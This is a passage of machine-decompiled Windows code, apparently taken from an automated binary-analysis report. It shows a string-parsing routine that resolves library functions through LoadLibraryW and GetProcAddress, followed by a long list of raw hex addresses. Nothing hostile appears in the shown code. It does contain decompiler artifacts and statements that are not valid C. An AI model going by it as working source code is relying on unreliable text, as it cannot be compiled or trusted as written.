                                                                  									lstrcpyW(_t217, _v48);
                                                                  									L32:
                                                                  									lstrcpyW(_t322, _v24);
                                                                  									goto L42;
                                                                  								}
                                                                  								_t301 = _t300 - 1;
                                                                  								__eflags = _t301;
                                                                  								if(_t301 == 0) {
                                                                  									goto L32;
                                                                  								}
                                                                  								__eflags = _t301 != 1;
                                                                  								if(_t301 != 1) {
                                                                  									goto L42;
                                                                  								}
                                                                  								goto L31;
                                                                  							}
                                                                  						} else {
                                                                  							if(_t215 == 1) {
                                                                  								_t257 = _v16;
                                                                  								if(_v40 == _t283) {
                                                                  									_t257 = _t257 - 1;
                                                                  								}
                                                                  								 *(_t332 + 0x1014) = _t257;
                                                                  							}
                                                                  							L42:
                                                                  							_v12 = _v12 + 2;
                                                                  							_v28 = _v24;
                                                                  							L59:
                                                                  							if(_v32 != 0xffffffff) {
                                                                  								_t321 = _v12;
                                                                  								continue;
                                                                  							}
                                                                  							break;
                                                                  						}
                                                                  					}
                                                                  					_t258 = _t213 - 0x23;
                                                                  					if(_t258 == 0) {
                                                                  						__eflags = _t321 - _v56;
                                                                  						if(_t321 <= _v56) {
                                                                  							L17:
                                                                  							__eflags = _v44 - _t283;
                                                                  							if(_v44 != _t283) {
                                                                  								L43:
                                                                  								_t260 = _v32 - _t283;
                                                                  								__eflags = _t260;
                                                                  								if(_t260 == 0) {
                                                                  									_t261 = _t286;
                                                                  									while(1) {
                                                                  										__eflags = _t261 - 0x22;
                                                                  										if(_t261 != 0x22) {
                                                                  											break;
                                                                  										}
                                                                  										_t321 =  &(_t321[1]);
                                                                  										__eflags = _v44 - _t283;
                                                                  										_v12 = _t321;
                                                                  										if(_v44 == _t283) {
                                                                  											_v44 = 1;
                                                                  											L162:
                                                                  											_v28 =  &(_v28[0]);
                                                                  											 *_v28 =  *_t321;
                                                                  											L58:
                                                                  											_t331 =  &(_t321[1]);
                                                                  											__eflags = _t331;
                                                                  											_v12 = _t331;
                                                                  											goto L59;
                                                                  										}
                                                                  										_t261 =  *_t321 & 0x0000ffff;
                                                                  										_v44 = _t283;
                                                                  									}
                                                                  									__eflags = _t261 - 0x2a;
                                                                  									if(_t261 == 0x2a) {
                                                                  										_v36 = 2;
                                                                  										L57:
                                                                  										_t321 = _v12;
                                                                  										_v28 = _v24;
                                                                  										_t283 = 0;
                                                                  										__eflags = 0;
                                                                  										goto L58;
                                                                  									}
                                                                  									__eflags = _t261 - 0x2d;
                                                                  									if(_t261 == 0x2d) {
                                                                  										L151:
                                                                  										_t304 =  *_t321;
                                                                  										__eflags = _t304 - 0x2d;
                                                                  										if(_t304 != 0x2d) {
                                                                  											L154:
                                                                  											_t264 =  &(_t321[1]);
                                                                  											__eflags =  *_t264 - 0x3a;
                                                                  											if( *_t264 != 0x3a) {
                                                                  												goto L162;
                                                                  											}
                                                                  											__eflags = _t304 - 0x2d;
                                                                  											if(_t304 == 0x2d) {
                                                                  												goto L162;
                                                                  											}
                                                                  											_v36 = 1;
                                                                  											L157:
                                                                  											_v12 = _t264;
                                                                  											__eflags = _v28 - _v24;
                                                                  											if(_v28 <= _v24) {
                                                                  												 *_v48 = _t283;
                                                                  											} else {
                                                                  												 *_v28 = _t283;
                                                                  												lstrcpyW(_v48, _v24);
                                                                  											}
                                                                  											goto L57;
                                                                  										}
                                                                  										_t264 =  &(_t321[1]);
                                                                  										__eflags =  *_t264 - 0x3e;
                                                                  										if( *_t264 != 0x3e) {
                                                                  											goto L154;
                                                                  										}
                                                                  										_v36 = 3;
                                                                  										goto L157;
                                                                  									}
                                                                  									__eflags = _t261 - 0x3a;
                                                                  									if(_t261 != 0x3a) {
                                                                  										goto L162;
                                                                  									}
                                                                  									goto L151;
                                                                  								}
                                                                  								_t269 = _t260 - 1;
                                                                  								__eflags = _t269;
                                                                  								if(_t269 == 0) {
                                                                  									L80:
                                                                  									_t305 = _t286 + 0xffffffde;
                                                                  									__eflags = _t305 - 0x55;
                                                                  									if(_t305 > 0x55) {
                                                                  										goto L57;
                                                                  									}
                                                                  									switch( *((intOrPtr*)(( *(_t305 + 0x732d23e8) & 0x000000ff) * 4 +  &M732D235C))) {
                                                                  										case 0:
                                                                  											__ecx = _v24;
                                                                  											__edi = _v12;
                                                                  											while(1) {
                                                                  												__edi = __edi + 1;
                                                                  												__edi = __edi + 1;
                                                                  												_v12 = __edi;
                                                                  												__ax =  *__edi;
                                                                  												__eflags = __ax - __dx;
                                                                  												if(__ax != __dx) {
                                                                  													goto L132;
                                                                  												}
                                                                  												L131:
                                                                  												__eflags =  *((intOrPtr*)(__edi + 2)) - __dx;
                                                                  												if( *((intOrPtr*)(__edi + 2)) != __dx) {
                                                                  													L136:
                                                                  													 *__ecx =  *__ecx & 0x00000000;
                                                                  													__eax = E732D12CC(_v24);
                                                                  													__ebx = __eax;
                                                                  													goto L97;
                                                                  												}
                                                                  												L132:
                                                                  												__eflags = __ax;
                                                                  												if(__ax == 0) {
                                                                  													goto L136;
                                                                  												}
                                                                  												__eflags = __ax - __dx;
                                                                  												if(__ax == __dx) {
                                                                  													__edi = __edi + 1;
                                                                  													__edi = __edi + 1;
                                                                  													__eflags = __edi;
                                                                  												}
                                                                  												__ax =  *__edi;
                                                                  												 *__ecx =  *__edi;
                                                                  												__ecx = __ecx + 1;
                                                                  												__ecx = __ecx + 1;
                                                                  												__edi = __edi + 1;
                                                                  												__edi = __edi + 1;
                                                                  												_v12 = __edi;
                                                                  												__ax =  *__edi;
                                                                  												__eflags = __ax - __dx;
                                                                  												if(__ax != __dx) {
                                                                  													goto L132;
                                                                  												}
                                                                  												goto L131;
                                                                  											}
                                                                  										case 1:
                                                                  											_v8 = 1;
                                                                  											goto L57;
                                                                  										case 2:
                                                                  											_v8 = _v8 | 0xffffffff;
                                                                  											goto L57;
                                                                  										case 3:
                                                                  											_v8 = _v8 & 0x00000000;
                                                                  											_v20 = _v20 & 0x00000000;
                                                                  											_v16 = _v16 + 1;
                                                                  											goto L85;
                                                                  										case 4:
                                                                  											__eflags = _v20;
                                                                  											if(_v20 != 0) {
                                                                  												goto L57;
                                                                  											}
                                                                  											_v12 = _v12 - 2;
                                                                  											__ebx = E732D12BB();
                                                                  											 &_v12 = E732D1B86( &_v12);
                                                                  											__eax = E732D1510(__edx, __eax, __edx, __ebx);
                                                                  											goto L97;
                                                                  										case 5:
                                                                  											L105:
                                                                  											_v20 = _v20 + 1;
                                                                  											goto L57;
                                                                  										case 6:
                                                                  											_push(7);
                                                                  											goto L123;
                                                                  										case 7:
                                                                  											_push(0x19);
                                                                  											goto L143;
                                                                  										case 8:
                                                                  											__eax = 0;
                                                                  											__eax = 1;
                                                                  											__eflags = 1;
                                                                  											goto L107;
                                                                  										case 9:
                                                                  											_push(0x15);
                                                                  											goto L143;
                                                                  										case 0xa:
                                                                  											_push(0x16);
                                                                  											goto L143;
                                                                  										case 0xb:
                                                                  											_push(0x18);
                                                                  											goto L143;
                                                                  										case 0xc:
                                                                  											__eax = 0;
                                                                  											__eax = 1;
                                                                  											__eflags = 1;
                                                                  											goto L118;
                                                                  										case 0xd:
                                                                  											__eax = 0;
                                                                  											__eax = 1;
                                                                  											__eflags = 1;
                                                                  											goto L109;
                                                                  										case 0xe:
                                                                  											__eax = 0;
                                                                  											__eax = 1;
                                                                  											__eflags = 1;
                                                                  											goto L111;
                                                                  										case 0xf:
                                                                  											__eax = 0;
                                                                  											__eax = 1;
                                                                  											__eflags = 1;
                                                                  											goto L122;
                                                                  										case 0x10:
                                                                  											__eax = 0;
                                                                  											__eax = 1;
                                                                  											__eflags = 1;
                                                                  											goto L113;
                                                                  										case 0x11:
                                                                  											_push(3);
                                                                  											goto L123;
                                                                  										case 0x12:
                                                                  											_push(0x17);
                                                                  											L143:
                                                                  											_pop(__ebx);
                                                                  											goto L98;
                                                                  										case 0x13:
                                                                  											__eax =  &_v12;
                                                                  											__eax = E732D1B86( &_v12);
                                                                  											__ebx = __eax;
                                                                  											__ebx = __eax + 1;
                                                                  											__eflags = __ebx - 0xb;
                                                                  											if(__ebx < 0xb) {
                                                                  												__ebx = __ebx + 0xa;
                                                                  											}
                                                                  											goto L97;
                                                                  										case 0x14:
                                                                  											__ebx = 0xffffffff;
                                                                  											goto L98;
                                                                  										case 0x15:
                                                                  											__eax = 0;
                                                                  											__eax = 1;
                                                                  											__eflags = 1;
                                                                  											goto L116;
                                                                  										case 0x16:
                                                                  											__ecx = 0;
                                                                  											__eflags = 0;
                                                                  											goto L91;
                                                                  										case 0x17:
                                                                  											__eax = 0;
                                                                  											__eax = 1;
                                                                  											__eflags = 1;
                                                                  											goto L120;
                                                                  										case 0x18:
                                                                  											_t271 =  *(_t332 + 0x1014);
                                                                  											__eflags = _t271 - _v16;
                                                                  											if(_t271 > _v16) {
                                                                  												_v16 = _t271;
                                                                  											}
                                                                  											_v8 = _v8 & 0x00000000;
                                                                  											_v20 = _v20 & 0x00000000;
                                                                  											_v36 - 3 = _t271 - (_v36 == 3);
                                                                  											if(_t271 != _v36 == 3) {
                                                                  												L85:
                                                                  												_v40 = 1;
                                                                  											}
                                                                  											goto L57;
                                                                  										case 0x19:
                                                                  											L107:
                                                                  											__ecx = 0;
                                                                  											_v8 = 2;
                                                                  											__ecx = 1;
                                                                  											goto L91;
                                                                  										case 0x1a:
                                                                  											L118:
                                                                  											_push(5);
                                                                  											goto L123;
                                                                  										case 0x1b:
                                                                  											L109:
                                                                  											__ecx = 0;
                                                                  											_v8 = 3;
                                                                  											__ecx = 1;
                                                                  											goto L91;
                                                                  										case 0x1c:
                                                                  											L111:
                                                                  											__ecx = 0;
                                                                  											__ecx = 1;
                                                                  											goto L91;
                                                                  										case 0x1d:
                                                                  											L122:
                                                                  											_push(6);
                                                                  											goto L123;
                                                                  										case 0x1e:
                                                                  											L113:
                                                                  											_push(2);
                                                                  											goto L123;
                                                                  										case 0x1f:
                                                                  											__eax =  &_v12;
                                                                  											__eax = E732D1B86( &_v12);
                                                                  											__ebx = __eax;
                                                                  											__ebx = __eax + 1;
                                                                  											goto L97;
                                                                  										case 0x20:
                                                                  											L116:
                                                                  											_v52 = _v52 + 1;
                                                                  											_push(4);
                                                                  											_pop(__ecx);
                                                                  											goto L91;
                                                                  										case 0x21:
                                                                  											L120:
                                                                  											_push(4);
                                                                  											L123:
                                                                  											_pop(__ecx);
                                                                  											L91:
                                                                  											__edi = _v16;
                                                                  											__edx =  *(0x732d405c + __ecx * 4);
                                                                  											__eax =  ~__eax;
                                                                  											asm("sbb eax, eax");
                                                                  											_v40 = 1;
                                                                  											__edi = _v16 << 5;
                                                                  											__eax = __eax & 0x00008000;
                                                                  											__edi = (_v16 << 5) + __esi;
                                                                  											__eax = __eax | __ecx;
                                                                  											__eflags = _v8;
                                                                  											 *(__edi + 0x1018) = __eax;
                                                                  											if(_v8 < 0) {
                                                                  												L93:
                                                                  												__edx = 0;
                                                                  												__edx = 1;
                                                                  												__eflags = 1;
                                                                  												L94:
                                                                  												__eflags = _v8 - 1;
                                                                  												 *(__edi + 0x1028) = __edx;
                                                                  												if(_v8 == 1) {
                                                                  													__eax =  &_v12;
                                                                  													__eax = E732D1B86( &_v12);
                                                                  													__eax = __eax + 1;
                                                                  													__eflags = __eax;
                                                                  													_v8 = __eax;
                                                                  												}
                                                                  												__eax = _v8;
                                                                  												 *((intOrPtr*)(__edi + 0x101c)) = _v8;
                                                                  												_t136 = _v16 + 0x81; // 0x81
                                                                  												_t136 = _t136 << 5;
                                                                  												__eax = 0;
                                                                  												__eflags = 0;
                                                                  												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
                                                                  												 *((intOrPtr*)(__edi + 0x1030)) = 0;
                                                                  												 *((intOrPtr*)(__edi + 0x102c)) = 0;
                                                                  												L97:
                                                                  												__eflags = __ebx;
                                                                  												if(__ebx == 0) {
                                                                  													goto L57;
                                                                  												}
                                                                  												L98:
                                                                  												__eflags = _v20;
                                                                  												_v40 = 1;
                                                                  												if(_v20 != 0) {
                                                                  													L103:
                                                                  													__eflags = _v20 - 1;
                                                                  													if(_v20 == 1) {
                                                                  														__eax = _v16;
                                                                  														__eax = _v16 << 5;
                                                                  														__eflags = __eax;
                                                                  														 *(__eax + __esi + 0x102c) = __ebx;
                                                                  													}
                                                                  													goto L105;
                                                                  												}
                                                                  												_v16 = _v16 << 5;
                                                                  												_t144 = __esi + 0x1030; // 0x1030
                                                                  												__edi = (_v16 << 5) + _t144;
                                                                  												__eax =  *__edi;
                                                                  												__eflags = __eax - 0xffffffff;
                                                                  												if(__eax <= 0xffffffff) {
                                                                  													L101:
                                                                  													__eax = GlobalFree(__eax);
                                                                  													L102:
                                                                  													 *__edi = __ebx;
                                                                  													goto L103;
                                                                  												}
                                                                  												__eflags = __eax - 0x19;
                                                                  												if(__eax <= 0x19) {
                                                                  													goto L102;
                                                                  												}
                                                                  												goto L101;
                                                                  											}
                                                                  											__eflags = __edx;
                                                                  											if(__edx > 0) {
                                                                  												goto L94;
                                                                  											}
                                                                  											goto L93;
                                                                  										case 0x22:
                                                                  											goto L57;
                                                                  									}
                                                                  								}
                                                                  								_t272 = _t269 - 1;
                                                                  								__eflags = _t272;
                                                                  								if(_t272 == 0) {
                                                                  									_v16 = _t283;
                                                                  									goto L80;
                                                                  								}
                                                                  								__eflags = _t272 != 1;
                                                                  								if(_t272 != 1) {
                                                                  									goto L162;
                                                                  								}
                                                                  								__eflags = _t286 - 0x6e;
                                                                  								if(__eflags > 0) {
                                                                  									_t309 = _t286 - 0x72;
                                                                  									__eflags = _t309;
                                                                  									if(_t309 == 0) {
                                                                  										_push(4);
                                                                  										L74:
                                                                  										_pop(_t274);
                                                                  										L75:
                                                                  										__eflags = _v8 - 1;
                                                                  										if(_v8 != 1) {
                                                                  											_t96 = _t332 + 0x1010;
                                                                  											 *_t96 =  *(_t332 + 0x1010) &  !_t274;
                                                                  											__eflags =  *_t96;
                                                                  										} else {
                                                                  											 *(_t332 + 0x1010) =  *(_t332 + 0x1010) | _t274;
                                                                  										}
                                                                  										_v8 = 1;
                                                                  										goto L57;
                                                                  									}
                                                                  									_t312 = _t309 - 1;
                                                                  									__eflags = _t312;
                                                                  									if(_t312 == 0) {
                                                                  										_push(0x10);
                                                                  										goto L74;
                                                                  									}
                                                                  									__eflags = _t312 != 0;
                                                                  									if(_t312 != 0) {
                                                                  										goto L57;
                                                                  									}
                                                                  									_push(0x40);
                                                                  									goto L74;
                                                                  								}
                                                                  								if(__eflags == 0) {
                                                                  									_push(8);
                                                                  									goto L74;
                                                                  								}
                                                                  								_t315 = _t286 - 0x21;
                                                                  								__eflags = _t315;
                                                                  								if(_t315 == 0) {
                                                                  									_v8 =  ~_v8;
                                                                  									goto L57;
                                                                  								}
                                                                  								_t316 = _t315 - 0x11;
                                                                  								__eflags = _t316;
                                                                  								if(_t316 == 0) {
                                                                  									_t274 = 0x100;
                                                                  									goto L75;
                                                                  								}
                                                                  								_t317 = _t316 - 0x31;
                                                                  								__eflags = _t317;
                                                                  								if(_t317 == 0) {
                                                                  									_t274 = 1;
                                                                  									goto L75;
                                                                  								}
                                                                  								__eflags = _t317 != 0;
                                                                  								if(_t317 != 0) {
                                                                  									goto L57;
                                                                  								}
                                                                  								_push(0x20);
                                                                  								goto L74;
                                                                  							} else {
                                                                  								_v32 = _t283;
                                                                  								_v36 = _t283;
                                                                  								goto L20;
                                                                  							}
                                                                  						}
                                                                  						__eflags =  *((short*)(_t321 - 2)) - 0x3a;
                                                                  						if( *((short*)(_t321 - 2)) != 0x3a) {
                                                                  							goto L17;
                                                                  						}
                                                                  						__eflags = _v32 - _t283;
                                                                  						if(_v32 == _t283) {
                                                                  							goto L43;
                                                                  						}
                                                                  						goto L17;
                                                                  					}
                                                                  					_t277 = _t258 - 5;
                                                                  					if(_t277 == 0) {
                                                                  						__eflags = _v44 - _t283;
                                                                  						if(_v44 != _t283) {
                                                                  							goto L43;
                                                                  						} else {
                                                                  							__eflags = _v36 - 3;
                                                                  							_v32 = 1;
                                                                  							_v8 = _t283;
                                                                  							_v20 = _t283;
                                                                  							_v16 = (0 | _v36 == 0x00000003) + 1;
                                                                  							_v40 = _t283;
                                                                  							goto L20;
                                                                  						}
                                                                  					}
                                                                  					_t281 = _t277 - 1;
                                                                  					if(_t281 == 0) {
                                                                  						__eflags = _v44 - _t283;
                                                                  						if(_v44 != _t283) {
                                                                  							goto L43;
                                                                  						} else {
                                                                  							_v32 = 2;
                                                                  							_v8 = _t283;
                                                                  							_v20 = _t283;
                                                                  							goto L20;
                                                                  						}
                                                                  					}
                                                                  					if(_t281 != 0x16) {
                                                                  						goto L43;
                                                                  					} else {
                                                                  						_v32 = 3;
                                                                  						_v8 = 1;
                                                                  						goto L20;
                                                                  					}
                                                                  				}
                                                                  				GlobalFree(_v56);
                                                                  				GlobalFree(_v24);
                                                                  				GlobalFree(_v48);
                                                                  				if(_t332 == _t283 ||  *(_t332 + 0x100c) != _t283) {
                                                                  					L182:
                                                                  					return _t332;
                                                                  				} else {
                                                                  					_t225 =  *_t332 - 1;
                                                                  					if(_t225 == 0) {
                                                                  						_t187 = _t332 + 8; // 0x8
                                                                  						_t324 = _t187;
                                                                  						__eflags =  *_t324 - _t283;
                                                                  						if( *_t324 != _t283) {
                                                                  							_t226 = GetModuleHandleW(_t324);
                                                                  							__eflags = _t226 - _t283;
                                                                  							 *(_t332 + 0x1008) = _t226;
                                                                  							if(_t226 != _t283) {
                                                                  								L171:
                                                                  								_t192 = _t332 + 0x808; // 0x808
                                                                  								_t325 = _t192;
                                                                  								_t227 = E732D16BD( *(_t332 + 0x1008), _t325);
                                                                  								__eflags = _t227 - _t283;
                                                                  								 *(_t332 + 0x100c) = _t227;
                                                                  								if(_t227 == _t283) {
                                                                  									__eflags =  *_t325 - 0x23;
                                                                  									if( *_t325 == 0x23) {
                                                                  										_t195 = _t332 + 0x80a; // 0x80a
                                                                  										_t231 = E732D13B1(_t195);
                                                                  										__eflags = _t231 - _t283;
                                                                  										if(_t231 != _t283) {
                                                                  											__eflags = _t231 & 0xffff0000;
                                                                  											if((_t231 & 0xffff0000) == 0) {
                                                                  												 *(_t332 + 0x100c) = GetProcAddress( *(_t332 + 0x1008), _t231 & 0x0000ffff);
                                                                  											}
                                                                  										}
                                                                  									}
                                                                  								}
                                                                  								__eflags = _v52 - _t283;
                                                                  								if(_v52 != _t283) {
                                                                  									L178:
                                                                  									_t325[lstrlenW(_t325)] = 0x57;
                                                                  									_t229 = E732D16BD( *(_t332 + 0x1008), _t325);
                                                                  									__eflags = _t229 - _t283;
                                                                  									if(_t229 != _t283) {
                                                                  										L166:
                                                                  										 *(_t332 + 0x100c) = _t229;
                                                                  										goto L182;
                                                                  									}
                                                                  									__eflags =  *(_t332 + 0x100c) - _t283;
                                                                  									L180:
                                                                  									if(__eflags != 0) {
                                                                  										goto L182;
                                                                  									}
                                                                  									L181:
                                                                  									_t206 = _t332 + 4;
                                                                  									 *_t206 =  *(_t332 + 4) | 0xffffffff;
                                                                  									__eflags =  *_t206;
                                                                  									goto L182;
                                                                  								} else {
                                                                  									__eflags =  *(_t332 + 0x100c) - _t283;
                                                                  									if( *(_t332 + 0x100c) != _t283) {
                                                                  										goto L182;
                                                                  									}
                                                                  									goto L178;
                                                                  								}
                                                                  							}
                                                                  							_t234 = LoadLibraryW(_t324);
                                                                  							__eflags = _t234 - _t283;
                                                                  							 *(_t332 + 0x1008) = _t234;
                                                                  							if(_t234 == _t283) {
                                                                  								goto L181;
                                                                  							}
                                                                  							goto L171;
                                                                  						}
                                                                  						_t188 = _t332 + 0x808; // 0x808
                                                                  						_t236 = E732D13B1(_t188);
                                                                  						 *(_t332 + 0x100c) = _t236;
                                                                  						__eflags = _t236 - _t283;
                                                                  						goto L180;
                                                                  					}
                                                                  					_t237 = _t225 - 1;
                                                                  					if(_t237 == 0) {
                                                                  						_t185 = _t332 + 0x808; // 0x808
                                                                  						_t238 = _t185;
                                                                  						__eflags =  *_t238 - _t283;
                                                                  						if( *_t238 == _t283) {
                                                                  							goto L182;
                                                                  						}
                                                                  						_t229 = E732D13B1(_t238);
                                                                  						L165:
                                                                  						goto L166;
                                                                  					}
                                                                  					if(_t237 != 1) {
                                                                  						goto L182;
                                                                  					}
                                                                  					_t81 = _t332 + 8; // 0x8
                                                                  					_t284 = _t81;
                                                                  					_t326 = E732D13B1(_t81);
                                                                  					 *(_t332 + 0x1008) = _t326;
                                                                  					if(_t326 == 0) {
                                                                  						goto L181;
                                                                  					}
                                                                  					 *(_t332 + 0x104c) =  *(_t332 + 0x104c) & 0x00000000;
                                                                  					 *((intOrPtr*)(_t332 + 0x1050)) = E732D12CC(_t284);
                                                                  					 *(_t332 + 0x103c) =  *(_t332 + 0x103c) & 0x00000000;
                                                                  					 *((intOrPtr*)(_t332 + 0x1048)) = 1;
                                                                  					 *((intOrPtr*)(_t332 + 0x1038)) = 1;
                                                                  					_t90 = _t332 + 0x808; // 0x808
                                                                  					_t229 =  *(_t326->i + E732D13B1(_t90) * 4);
                                                                  					goto L165;
                                                                  				}
                                                                  			}

































































                                                                  0x732d1c07
                                                                  0x732d1c0a
                                                                  0x732d1c0d
                                                                  0x732d1c10
                                                                  0x732d1c13
                                                                  0x732d1c16
                                                                  0x732d1c19
                                                                  0x732d1c1b
                                                                  0x732d1c1e
                                                                  0x732d1c21
                                                                  0x732d1c26
                                                                  0x732d1c29
                                                                  0x732d1c31
                                                                  0x732d1c39
                                                                  0x732d1c3b
                                                                  0x732d1c3e
                                                                  0x732d1c46
                                                                  0x732d1c46
                                                                  0x732d1c4b
                                                                  0x732d1c4e
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1c5b
                                                                  0x732d1c60
                                                                  0x732d1c62
                                                                  0x732d1cf4
                                                                  0x732d1cf4
                                                                  0x732d1cf4
                                                                  0x732d1cf8
                                                                  0x732d1cfb
                                                                  0x732d1cfd
                                                                  0x732d1d1f
                                                                  0x732d1d21
                                                                  0x732d1d24
                                                                  0x732d1d33
                                                                  0x732d1d35
                                                                  0x732d1d3b
                                                                  0x732d1d3b
                                                                  0x732d1d41
                                                                  0x732d1d44
                                                                  0x732d1d44
                                                                  0x732d1d47
                                                                  0x732d1d47
                                                                  0x732d1d4d
                                                                  0x732d1d4f
                                                                  0x732d1d4f
                                                                  0x732d1d51
                                                                  0x732d1d54
                                                                  0x732d1d57
                                                                  0x732d1d5d
                                                                  0x732d1d63
                                                                  0x732d1d66
                                                                  0x732d1d8a
                                                                  0x732d1d8d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1d90
                                                                  0x732d1d92
                                                                  0x732d1da0
                                                                  0x732d1da3
                                                                  0x732d1da5
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1da7
                                                                  0x732d1da7
                                                                  0x732d1da7
                                                                  0x732d1dad
                                                                  0x732d1daf
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1db1
                                                                  0x732d1db3
                                                                  0x732d1db5
                                                                  0x732d1db7
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1db7
                                                                  0x732d1db9
                                                                  0x732d1dbb
                                                                  0x732d1dbd
                                                                  0x732d1dbd
                                                                  0x732d1dc3
                                                                  0x732d1dc9
                                                                  0x732d1dcb
                                                                  0x732d1ddf
                                                                  0x732d1ddf
                                                                  0x732d1de1
                                                                  0x732d1dcd
                                                                  0x732d1dd3
                                                                  0x732d1dd6
                                                                  0x732d1dd6
                                                                  0x00000000
                                                                  0x732d1d68
                                                                  0x732d1d68
                                                                  0x732d1d68
                                                                  0x732d1d69
                                                                  0x732d1d71
                                                                  0x732d1d75
                                                                  0x732d1d7b
                                                                  0x732d1d7f
                                                                  0x00000000
                                                                  0x732d1d7f
                                                                  0x732d1d6b
                                                                  0x732d1d6b
                                                                  0x732d1d6c
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1d6e
                                                                  0x732d1d6f
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1d6f
                                                                  0x732d1cff
                                                                  0x732d1d00
                                                                  0x732d1d09
                                                                  0x732d1d0c
                                                                  0x732d1d19
                                                                  0x732d1d19
                                                                  0x732d1d0e
                                                                  0x732d1d0e
                                                                  0x732d1de7
                                                                  0x732d1dea
                                                                  0x732d1dee
                                                                  0x732d1e61
                                                                  0x732d1e65
                                                                  0x732d1c43
                                                                  0x00000000
                                                                  0x732d1c43
                                                                  0x00000000
                                                                  0x732d1e65
                                                                  0x732d1cfd
                                                                  0x732d1c68
                                                                  0x732d1c6b
                                                                  0x732d1cce
                                                                  0x732d1cd1
                                                                  0x732d1ce3
                                                                  0x732d1ce3
                                                                  0x732d1ce6
                                                                  0x732d1df3
                                                                  0x732d1df6
                                                                  0x732d1df6
                                                                  0x732d1df8
                                                                  0x732d21ae
                                                                  0x732d21c6
                                                                  0x732d21c6
                                                                  0x732d21c9
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d21b3
                                                                  0x732d21b4
                                                                  0x732d21b7
                                                                  0x732d21ba
                                                                  0x732d2244
                                                                  0x732d224b
                                                                  0x732d2251
                                                                  0x732d2255
                                                                  0x732d1e5c
                                                                  0x732d1e5d
                                                                  0x732d1e5d
                                                                  0x732d1e5e
                                                                  0x00000000
                                                                  0x732d1e5e
                                                                  0x732d21c0
                                                                  0x732d21c3
                                                                  0x732d21c3
                                                                  0x732d21cb
                                                                  0x732d21ce
                                                                  0x732d2238
                                                                  0x732d1e51
                                                                  0x732d1e54
                                                                  0x732d1e57
                                                                  0x732d1e5a
                                                                  0x732d1e5a
                                                                  0x00000000
                                                                  0x732d1e5a
                                                                  0x732d21d0
                                                                  0x732d21d3
                                                                  0x732d21da
                                                                  0x732d21da
                                                                  0x732d21dd
                                                                  0x732d21e1
                                                                  0x732d21f5
                                                                  0x732d21f5
                                                                  0x732d21f8
                                                                  0x732d21fc
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d21fe
                                                                  0x732d2202
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2204
                                                                  0x732d220b
                                                                  0x732d220b
                                                                  0x732d2211
                                                                  0x732d2214
                                                                  0x732d2230
                                                                  0x732d2216
                                                                  0x732d221f
                                                                  0x732d2222
                                                                  0x732d2222
                                                                  0x00000000
                                                                  0x732d2214
                                                                  0x732d21e3
                                                                  0x732d21e6
                                                                  0x732d21ea
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d21ec
                                                                  0x00000000
                                                                  0x732d21ec
                                                                  0x732d21d5
                                                                  0x732d21d8
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d21d8
                                                                  0x732d1dfe
                                                                  0x732d1dfe
                                                                  0x732d1dff
                                                                  0x732d1f49
                                                                  0x732d1f49
                                                                  0x732d1f50
                                                                  0x732d1f53
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1f60
                                                                  0x00000000
                                                                  0x732d214b
                                                                  0x732d214e
                                                                  0x732d2151
                                                                  0x732d2151
                                                                  0x732d2152
                                                                  0x732d2153
                                                                  0x732d2156
                                                                  0x732d2159
                                                                  0x732d215c
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d215e
                                                                  0x732d215e
                                                                  0x732d2162
                                                                  0x732d217a
                                                                  0x732d217d
                                                                  0x732d2181
                                                                  0x732d2187
                                                                  0x00000000
                                                                  0x732d2187
                                                                  0x732d2164
                                                                  0x732d2164
                                                                  0x732d2167
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2169
                                                                  0x732d216c
                                                                  0x732d216e
                                                                  0x732d216f
                                                                  0x732d216f
                                                                  0x732d216f
                                                                  0x732d2170
                                                                  0x732d2173
                                                                  0x732d2176
                                                                  0x732d2177
                                                                  0x732d2151
                                                                  0x732d2152
                                                                  0x732d2153
                                                                  0x732d2156
                                                                  0x732d2159
                                                                  0x732d215c
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d215c
                                                                  0x00000000
                                                                  0x732d1fa7
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1fb3
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1f9a
                                                                  0x732d1f9e
                                                                  0x732d1fa2
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d211c
                                                                  0x732d2120
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2126
                                                                  0x732d212f
                                                                  0x732d2136
                                                                  0x732d213e
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2083
                                                                  0x732d2083
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d1fbc
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d21a6
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d208b
                                                                  0x732d208d
                                                                  0x732d208d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2196
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d219a
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d21a2
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20d3
                                                                  0x732d20d5
                                                                  0x732d20d5
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d209d
                                                                  0x732d209f
                                                                  0x732d209f
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20af
                                                                  0x732d20b1
                                                                  0x732d20b1
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20e1
                                                                  0x732d20e3
                                                                  0x732d20e3
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20ba
                                                                  0x732d20bc
                                                                  0x732d20bc
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d20c1
                                                                  0x00000000
